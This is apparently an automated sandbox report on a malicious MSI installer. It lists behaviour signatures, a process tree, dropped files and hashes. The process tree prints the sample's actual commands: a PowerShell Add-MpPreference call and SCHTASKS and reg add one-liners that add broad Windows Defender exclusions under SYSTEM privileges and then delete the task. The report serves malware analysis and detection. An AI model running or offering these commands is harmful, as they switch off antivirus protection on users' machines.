Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/08/2026, 01:16

General

  • Target
    install_c0rd004.msi
  • Size 8.6MB
  • Sample260801-bm8jaack9s
  • SHA256 d8c4cd09a84e159c279d9e66e1ecb0151e3839593bc16ba44d194aba9afc7210
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 9 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_c0rd004.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:1328
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2428
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2412
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 13A1BB90A0E003D37D08110C82562BF4 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3968
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:2472
  • C:\Users\Public\Hx3FXx\dwsMmk.exe
    "C:\Users\Public\Hx3FXx\dwsMmk.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3528
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Hx3FXx\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3896
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Hx3FXx\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2040
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4984
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5324
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:880
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1232
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3576
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4920
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:5696
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:6068
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4788
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1128
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4380
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3144
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4808
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2608
                  • C:\Windows\system32\cmd.exe
                    "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Hx3FXx" /t REG_DWORD /d 0 /f
                    1⤵
                    • Executes a command shell one-liner
                    PID:2336
                    • C:\Windows\System32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Hx3FXx" /t REG_DWORD /d 0 /f
                      2⤵
                        PID:3696
                    • C:\Windows\system32\cmd.exe
                      cmd.exe
                      1⤵
                        PID:2936
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:5068
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2044
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:952
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:6076
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:2488

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                e59c7eb.rbs

                                • Path C:\Config.Msi\e59c7eb.rbs
                                • Size 7KB
                                • SHA256 320cb0a301da45bfe950837843356281437150d47c77f6fd675248634af35bfe
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\Hx3FXx\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 3cf60f0299e19093d309858054ff1c1b990c2ffce9c8f66335155e31bdd5ab0d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\Hx3FXx\adoresd.dat
                                • Size 4.7MB
                                • SHA256 7ce2396ea2ccaca1fdc0fa57441b43d5c657ee384beda99232a7a29ba0041dac
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                dwsMmk.exe

                                • Path C:\Users\Public\Hx3FXx\dwsMmk.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\Hx3FXx\msadox.tb
                                • Size 8KB
                                • SHA256 10cb8b929711aa417d894c0f759f5a89b634f8aba74f2e6be9a7291cc1703361
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                MSICEE0.tmp

                                • Path C:\Windows\Installer\MSICEE0.tmp
                                • Size 8.5MB
                                • SHA256 1220a95f82c6f700b9ddf4571af4acd2169ab87bb97e7e5a664eeba1cb89d353
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                e59c7ea.msi

                                • Path C:\Windows\Installer\e59c7ea.msi
                                • Size 8.6MB
                                • SHA256 d8c4cd09a84e159c279d9e66e1ecb0151e3839593bc16ba44d194aba9afc7210
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                metadata-2

                                • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                • Size 26.1MB
                                • SHA256 559410b7c9d9719350d15f85b25147d54cde8ccbfc60b8de8e95f32a95336872
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                {e39069e2-f4a2-484c-95b3-b81cf781682b}_OnDiskSnapshotProp

                                • Path \??\Volume{c4eee659-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{e39069e2-f4a2-484c-95b3-b81cf781682b}_OnDiskSnapshotProp
                                • Size 6KB
                                • SHA256 656d0124bbc848739fb5428a740a2540b36ed6f2864da72c6a1bf3bb0e479774
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/3528-105-0x0000022DBB7D0000-0x0000022DBB882000-memory.dmp

                                memory/3528-104-0x0000022DBB7B0000-0x0000022DBB7CE000-memory.dmp

                                memory/3528-101-0x0000022DA30B0000-0x0000022DA30D2000-memory.dmp

                                memory/3968-45-0x00007FFAA3320000-0x00007FFAA3332000-memory.dmp

                                memory/3968-16-0x00007FFAA3320000-0x00007FFAA3332000-memory.dmp

                                memory/3968-13-0x00007FFA92810000-0x00007FFA92E62000-memory.dmp

                                memory/3968-12-0x00007FFAB6410000-0x00007FFAB6412000-memory.dmp

                                memory/5824-67-0x00007FFAB6420000-0x00007FFAB6422000-memory.dmp

                                memory/5824-88-0x0000014DCDC10000-0x0000014DCDC9A000-memory.dmp

                                memory/5824-73-0x0000014DCD370000-0x0000014DCDC01000-memory.dmp

                                memory/5824-72-0x0000014DCD370000-0x0000014DCDC01000-memory.dmp

                                memory/5824-74-0x0000014DCD370000-0x0000014DCDC01000-memory.dmp

                                memory/5824-75-0x0000014DCD370000-0x0000014DCDC01000-memory.dmp

                                memory/5824-79-0x0000014DCD370000-0x0000014DCDC01000-memory.dmp

                                memory/5824-86-0x0000014DCDC10000-0x0000014DCDC9A000-memory.dmp

                                memory/5824-85-0x0000014DCB0B0000-0x0000014DCB0FE000-memory.dmp

                                memory/5824-68-0x0000014DCD370000-0x0000014DCDC01000-memory.dmp

                                memory/5824-89-0x0000014DCDC10000-0x0000014DCDC9A000-memory.dmp

                                memory/5824-87-0x0000014DCDC10000-0x0000014DCDC9A000-memory.dmp

                                memory/5824-92-0x0000014DCD370000-0x0000014DCDC01000-memory.dmp

                                memory/5824-94-0x0000014DCD370000-0x0000014DCDC01000-memory.dmp

                                memory/5824-96-0x0000014DCD370000-0x0000014DCDC01000-memory.dmp

                                memory/5824-65-0x0000014DCD370000-0x0000014DCDC01000-memory.dmp

                                memory/5824-60-0x00007FFA92950000-0x00007FFA92E6E000-memory.dmp

                                memory/5824-59-0x00007FFAB6410000-0x00007FFAB6412000-memory.dmp